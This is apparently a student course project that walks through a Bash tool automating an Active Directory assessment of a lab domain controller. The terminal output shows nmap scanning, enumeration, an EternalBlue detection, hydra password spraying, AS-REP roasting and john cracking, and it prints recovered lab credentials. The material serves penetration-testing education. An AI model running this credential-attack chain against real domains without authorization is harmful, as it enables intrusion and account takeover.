# DOMAIN MAPPER

## ZX305 — Active Directory Assessment Tool

*Automated Active Directory Security Assessment*

A single Bash script that runs a full Active Directory security assessment in four stages — **Scanning → Enumeration → Exploitation → Report**. The user provides only the target details and picks a depth level per stage (none / basic / intermediate / advanced, where a higher level includes the lower ones); everything else is fully automated, and a PDF report is produced at the end.

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Student: WUBET ABIE · Unit: TMagen773640 · Code: S12 · Program: ZX305 · Lecturer: Eliran Berkovich

PHASE 1 · SETUP & INPUT

## 1 Dependency Check — automatic tool verification

Requirement: suggested tools · automation

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ./TMagen773640.S12.zx305.sh

 ____   ___   __  __    _    ___ _   _   __  __    _    ____  ____  _____ ____
|  _ \ / _ \ |  \/  |  / \  |_ _| \ | | |  \/  |  / \  |  _ \|  _ \| ____|  _ \
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        PROJECT: DOMAIN MAPPER | ZX305 - AD Assessment Tool
        Student: WUBET ABIE | Unit: TMagen773640

[+] Running as root.

============================================================
  0. Dependency Check
============================================================
[+] Found: nmap
[+] Found: hydra
[+] Found: enum4linux
[+] Found: rpcclient
[+] Found: sipcalc
[+] Found: john
[+] Found: crackmapexec (CME_BIN=crackmapexec)
[+] Found: impacket-GetNPUsers
[+] Found: enscript (PDF_BIN=enscript)
[+] All dependencies satisfied.
```

On start-up the script automatically checks that every required tool is installed — `nmap` `hydra` `enum4linux` `rpcclient` `sipcalc` `john` `crackmapexec` `impacket` — and installs any missing one by itself, so it runs on any machine with no manual preparation.

PHASE 1 · SETUP & INPUT

## 2 User Input — input and level selection

Requirement: user input only · functions

```
============================================================
  1. User Input
============================================================
>> Target network range (single IP or CIDR, e.g. <IP> or <IP>/24): 192.168.75.132
[+] Network accepted: 192.168.75.132
>> Domain name (e.g. <domain>.local): netsec.local
[+] Domain accepted: netsec.local
>> AD username (leave empty to skip AD-only Advanced steps): pentestme
>> AD password:
[+] AD credentials set for user: pentestme
>> Password list [Enter for rockyou]: /home/kali/Desktop/password.txt
[+] Password list: /home/kali/Desktop/password.txt
>> Output directory name: domainmapper_output
[+] Output directory: domainmapper_output

Select an operation level for each mode (higher includes lower):
 → Level for SCANNING:
    0) none          1) basic
    2) intermediate  3) advanced
>> Enter number [0-3]: 3
 → Level for ENUMERATION:
    0) none          1) basic
    2) intermediate  3) advanced
>> Enter number [0-3]: 3
 → Level for EXPLOITATION:
    0) none          1) basic
    2) intermediate  3) advanced
>> Enter number [0-3]: 3
```

The script collects the target network, domain, AD credentials and password list from the user — **nothing is hard-coded**. It then selects a separate depth level for each mode (here **advanced** for all). Every input is validated before continuing.

PHASE 2 · SCANNING

## 3 sipcalc — subnet breakdown

Requirement: use of sipcalc

```
============================================================
  2. Scanning Mode (level: advanced)
============================================================
 → Subnet details (sipcalc)
-[ipv4 : 192.168.75.132] - 0

[CIDR]
Host address            - 192.168.75.132
Host address (decimal)  - 3232254852
Host address (hex)      - C0A84B84
Network address         - 192.168.75.132
Network mask            - 255.255.255.255
Network mask (bits)     - 32
Network mask (hex)      - FFFFFFFF
Broadcast address       - 192.168.75.132
Cisco wildcard          - 0.0.0.0
Addresses in network    - 1
Network range           - 192.168.75.132 - 192.168.75.132

-
[+] Subnet info saved: domainmapper_output/network_info.txt
[+] Basic: -Pn (skip host discovery)
[+] Intermediate: -p- (all 65535 TCP ports)
[+] Advanced: added -sU on common UDP ports (lab tradeoff for speed)
 → Running: nmap -Pn -sS -sV -T4 -sU -p T:1-65535,U:53,67,88,123,137,161,500,4500 192.168.75.132
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-25 05:59 -0400
```

Before scanning, the script runs `sipcalc` to calculate the network address, broadcast address and host range of the target — an exact picture of the scan scope.

PHASE 2 · SCANNING

## 4 Graduated nmap — TCP + UDP

Requirement: scanning basic→intermediate→advanced

```
Nmap scan report for 192.168.75.132
Host is up (0.0022s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE         SERVICE      VERSION
53/tcp    open          domain       (generic dns response: SERVFAIL)
88/tcp    open          kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 10:01:25Z)
135/tcp   open          msrpc        Microsoft Windows RPC
139/tcp   open          netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open          ldap         Microsoft Windows Active Directory LDAP (Domain: netsec.local, Site: Default-First-Site-
Name)
445/tcp   open          microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: NETSEC)
464/tcp   open          kpasswd5?
593/tcp   open          ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open          tcpwrapped
3268/tcp  open          ldap         Microsoft Windows Active Directory LDAP (Domain: netsec.local, Site: Default-First-Site-
Name)
3269/tcp  open          tcpwrapped
5985/tcp  open          http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open          mc-nmf       .NET Message Framing
49666/tcp open          msrpc        Microsoft Windows RPC
49667/tcp open          msrpc        Microsoft Windows RPC
49669/tcp open          msrpc        Microsoft Windows RPC
49670/tcp open          ncacn_http   Microsoft Windows RPC over HTTP 1.0
49685/tcp open          msrpc        Microsoft Windows RPC
53/udp    open          domain       (generic dns response: NOTIMP)
67/udp    open|filtered dhcps
88/udp    open          kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 10:01:17Z)
123/udp   open          ntp          NTP v3
137/udp   open          netbios-ns   Microsoft Windows netbios-ssn (workgroup: NETSEC)
161/udp   open|filtered snmp
500/udp   open|filtered isakmp
```

The scan builds the `nmap` flags by level: **basic** ( `-Pn -sV` ) → **intermediate** (all 65535 ports) → **advanced** (adds a UDP sweep). It identifies every service on the DC (Kerberos, LDAP, SMB and more) and is saved in three formats for the next stages.

PHASE 3 · ENUMERATION

## 5 Enum Basic + Intermediate + NSE

Requirement: DC/DHCP · services · shares · enum4linux

```
============================================================
  3. Enumeration Mode (level: advanced)
============================================================
 → Enumeration BASIC
[+] DC identified: 192.168.75.132 (Kerberos+LDAP+SMB)
 → Discovering DHCP (best-effort)...
[+] DHCP server: 192.168.75.254
[+] Basic enum saved: domainmapper_output/enum_basic.txt
 → Enumeration INTERMEDIATE
[+] RDP (3389):
[+] SSH (22):
[+] FTP (21):
[+] WinRM (5985): 192.168.75.132
[+] LDAP (389): 192.168.75.132
[+] SMB (445): 192.168.75.132
 → Running 3 NSE scripts against 192.168.75.132
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-25 06:03 -0400
Nmap scan report for 192.168.75.132
Host is up (0.00070s latency).

PORT    STATE SERVICE
88/tcp  open  kerberos-sec
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20260725100331.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=netsec,DC=local
|       dsServiceName: CN=NTDS Settings,CN=WIN-A8PBA9GL4GE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC
=netsec,DC=local
```

The script automatically identifies the **DC** (Kerberos+LDAP+SMB) and the **DHCP** server, maps each service to its host, runs three `NSE` scripts and an `enum4linux` sweep for a deep collection of users, groups and shares.

PHASE 3 · ENUMERATION

## 6 Enum Advanced — Password Policy

Requirement: advanced enum (AD) · password policy

```
== Password policy ==
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:
WIN-A8PBA9GL4GE) (domain:netsec.local) (signing:True) (SMBv1:True)
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  [+] netsec.local\pentestme:aA1234567
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  [+] Dumping password info for domain: NETSEC
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Minimum password length: 7
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Password history length: 24
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Maximum password age: 41 days 23 hours 53 minutes
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Password Complexity Flags: 000001
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE          Domain Refuse Password Change: 0
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE          Domain Password Store Cleartext: 0
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE          Domain Password Lockout Admins: 0
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE          Domain Password No Clear Change: 0
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE          Domain Password No Anon Change: 0
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE          Domain Password Complex: 1
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Minimum password age: 1 day 4 minutes
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Reset Account Lockout Counter: 30 minutes
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Locked Account Duration: 30 minutes
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Account Lockout Threshold: None
SMB                     192.168.75.132  445    WIN-A8PBA9GL4GE  Forced Log off Time: Not Set
```

With the AD credentials the script pulls the domain password policy via `crackmapexec`: minimum length, history, maximum age, complexity and lockout — critical for assessing the domain's defensive strength.

PHASE 3 · ENUMERATION

## 7 Enum Advanced — Risky Accounts

Requirement: disabled · never-expire accounts

```
== Disabled accounts ==
krbtgt
Charles
Guest
DefaultAccount
== Never-expire accounts ==
John
Robert
Michael
William
David
Richard
Thomas
Christopher
Daniel
Anthony
Donald
Mark
Paul
Steven
Andrew
Kenneth
Joshua
```

Through `LDAP` queries the script filters the **disabled** accounts and the accounts whose password **never expires** — classic weak points an attacker looks for in an AD environment.

PHASE 3 · ENUMERATION

## 8 Enum Advanced — Domain Admins

Requirement: Domain Admins members

```
== Domain Admins members ==
NETSEC\Administrator
[+] Advanced enum saved: domainmapper_output/enum_advanced.txt
```

The script extracts the members of the **Domain Admins** group — the highest-privileged accounts in the domain and the primary target of any attack.

PHASE 4 · EXPLOITATION

## 9 Exploit Basic — vulnerability scan

Requirement: exploit basic (nmap vuln)

```
============================================================
  4. Exploitation Mode (level: advanced)
============================================================
 → Exploitation BASIC (NSE vuln scan)
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-25 06:04 -0400
Nmap scan report for 192.168.75.132
Host is up (0.0013s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
MAC Address: 00:0C:29:42:93:67 (VMware)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
```

The script runs `nmap --script vuln` and detects known vulnerabilities — here **MS17-010 (EternalBlue, CVE-2017-0143)**, a critical RCE flaw in SMBv1.

PHASE 4 · EXPLOITATION

## 10 Exploit Intermediate — hydra

Requirement: exploit intermediate (spraying/brute-force)

```
Nmap done: 1 IP address (1 host up) scanned in 44.94 seconds
[+] Vuln scan saved: domainmapper_output/exploit_vuln.txt
 → Exploitation INTERMEDIATE (password spraying)
[+] Using users list: domainmapper_output/users.txt (51 users)
 → hydra SMB brute-force against 192.168.75.132
[445][smb] host: 192.168.75.132   misc: (null)   login: nani   password: Password!
[445][smb] host: 192.168.75.132   misc: (null)   login: pentestme   password: aA1234567
[+] hydra results saved: domainmapper_output/hydra_smb.txt
[+] Spray results saved: domainmapper_output/exploit_spray.txt
 → Exploitation ADVANCED (Kerberos)
 → AS-REP roasting
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Andrew doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Anthony doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ashley doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$Barbara@NETSEC.LOCAL:070f91872d0f608d567dbf6b150e6f0a$64dc21a1d3335faba24691e497f1b80fbd11342081329386df07a24e4
e4694099f5c409682a5d7c1db64b039b00d6c9f876570b65d86d671db7fb9fbe2acf55dbc11788fb90e4fcbc212b47965e8808978962e12ee8f64e2ad81ff
75f5f4cb296077a638507dd053d4a5884d089da1bca77c339e14430fed3f109b7f521b1f3b34a4eeceb4828736b9f62801712bbb1b7e029836b8b4276e250
1373e9153830947f10abe634765e0c57220f69e80d7e29881c5f0388d787f78e1ac14c7bb671f9620e5bed421641e1701aba5194b6615f826e2aab5841436
d9e0bf3c9ad118e903d6d31df7e5c844cdd15830
[-] User Betty doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brian doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Christopher doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Daniel doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
```

The script builds a user list from the previous stage and runs `hydra` against SMB with the password list. Real credentials were recovered: **nani:Password!** and **pentestme:aA1234567**.

PHASE 4 · EXPLOITATION

## 11 Exploit Advanced — Kerberos + john

Requirement: exploit advanced (Kerberos AS-REP + cracking)

```
 → Cracking asrep.hash with john (supplied list)
Loaded 5 password hashes with 5 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
 → Supplied list failed; retrying with rockyou...
Loaded 5 password hashes with 5 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
TmaAebCaoPao4     ($krb5asrep$23$Barbara@NETSEC.LOCAL)
ReinaAgustine55   ($krb5asrep$23$Matthew@NETSEC.LOCAL)
$krb5asrep$23$Barbara@NETSEC.LOCAL:TmaAebCaoPao4
$krb5asrep$23$Matthew@NETSEC.LOCAL:ReinaAgustine55
[+] Kerberos hashes + cracked results saved in domainmapper_output
```

The script performs **AS-REP Roasting** (`impacket`) to extract Kerberos hashes, then cracks them with `john`. It tries the supplied list first and, on failure, **falls back to rockyou automatically** — cracking **Barbara** and **Matthew**.

PHASE 5 · SUMMARY & REPORT

## 12 Results Summary — credential consolidation

Requirement: results summary

```
============================================================
  5. Results Summary
============================================================
 Target range : 192.168.75.132
 Domain       : netsec.local
 DC IP        : 192.168.75.132
 DHCP IP      : 192.168.75.254
 Levels       : scan=advanced enum=advanced expl=advanced
 Live hosts   : 1
[!] Credentials recovered (user:password):
    [kerberos] $krb5asrep$23$Barbara@NETSEC.LOCAL:TmaAebCaoPao4
    [kerberos] $krb5asrep$23$Matthew@NETSEC.LOCAL:ReinaAgustine55
    [hydra] nani:Password!
    [hydra] pentestme:aA1234567
```

The script automatically consolidates every recovered password into a single credentials file — from both **hydra** and **Kerberos+john** — next to a summary of the target, DC, DHCP and levels used.

## 13 Interactive Search — search the results

Requirement: interactive search

```
============================================================
  Interactive Search
============================================================
>> Search term (Enter to skip/finish): domain admins
 → Matches for 'domain admins':
domainmapper_output/enum4linux.txt:9:Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
domainmapper_output/enum4linux.txt:296:Group: Administrators' (RID: 544) has member: NETSEC\Domain Admins
domainmapper_output/enum4linux.txt:320:Group: Denied RODC Password Replication Group' (RID: 572) has member: NETSEC\Domain Ad
mins
domainmapper_output/enum4linux.txt:327:group:[Domain Admins] rid:[0x200]
domainmapper_output/enum4linux.txt:416:Group: 'Domain Admins' (RID: 512) has member: NETSEC\Administrator
domainmapper_output/enum4linux.txt:532:S-1-5-21-3046087445-842460627-3879962248-512 NETSEC\Domain Admins (Domain Group)
domainmapper_output/enum_advanced.txt:85:SMB                         192.168.75.132  445    WIN-A8PBA9GL4GE  Domain Admins
                    membercount: 1
domainmapper_output/enum_advanced.txt:200:== Domain Admins members ==
domainmapper_output/enum_intermediate.txt:150:Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
domainmapper_output/enum_intermediate.txt:437:Group: Administrators' (RID: 544) has member: NETSEC\Domain Admins
domainmapper_output/enum_intermediate.txt:461:Group: Denied RODC Password Replication Group' (RID: 572) has member: NETSEC\Do
main Admins
domainmapper_output/enum_intermediate.txt:468:group:[Domain Admins] rid:[0x200]
domainmapper_output/enum_intermediate.txt:557:Group: 'Domain Admins' (RID: 512) has member: NETSEC\Administrator
domainmapper_output/enum_intermediate.txt:673:S-1-5-21-3046087445-842460627-3879962248-512 NETSEC\Domain Admins (Domain Group
)
>> Search term (Enter to skip/finish):
 → Search finished.
```

At the end the script allows a free-text search across all output files. Here a search for **domain admins** returns every match across the enumeration files — a fast way to analyse the findings.

PHASE 5 · SUMMARY & REPORT

## 14 PDF Report — final deliverable

Requirement: PDF report generation

```
============================================================
  6. PDF Report
============================================================
 → Converting report with enscript...
[+] PDF generated: domainmapper_output/TMagen773640.S12.zx305.pdf (60K)

============================================================
[+] DOMAIN MAPPER finished.
    Output directory: domainmapper_output
============================================================
```

Every run ends by generating an automatic **PDF** report that consolidates the output of all stages into a clean, professional deliverable.

SMART BEHAVIOUR

## 15 Credential Guard — clean skip without AD credentials

Requirement: advanced steps skipped cleanly when creds are blank

```
============================================================
  1. User Input
============================================================
>> Target network range (single IP or CIDR, e.g. <IP> or <IP>/24): 192.168.75.132
[+] Network accepted: 192.168.75.132
>> Domain name (e.g. <domain>.local): netsec.local
[+] Domain accepted: netsec.local
>> AD username (leave empty to skip AD-only Advanced steps):
[!] No AD user given - Advanced AD enum/exploit steps will be skipped.
>> Password list [Enter for rockyou]: /home/kali/Desktop/password.txt
[+] Password list: /home/kali/Desktop/password.txt
>> Output directory name:
```

When the user leaves the AD username empty, the script detects it and **cleanly skips the AD-only advanced steps** with a clear message instead of failing — the lower-level scanning and enumeration still run as normal.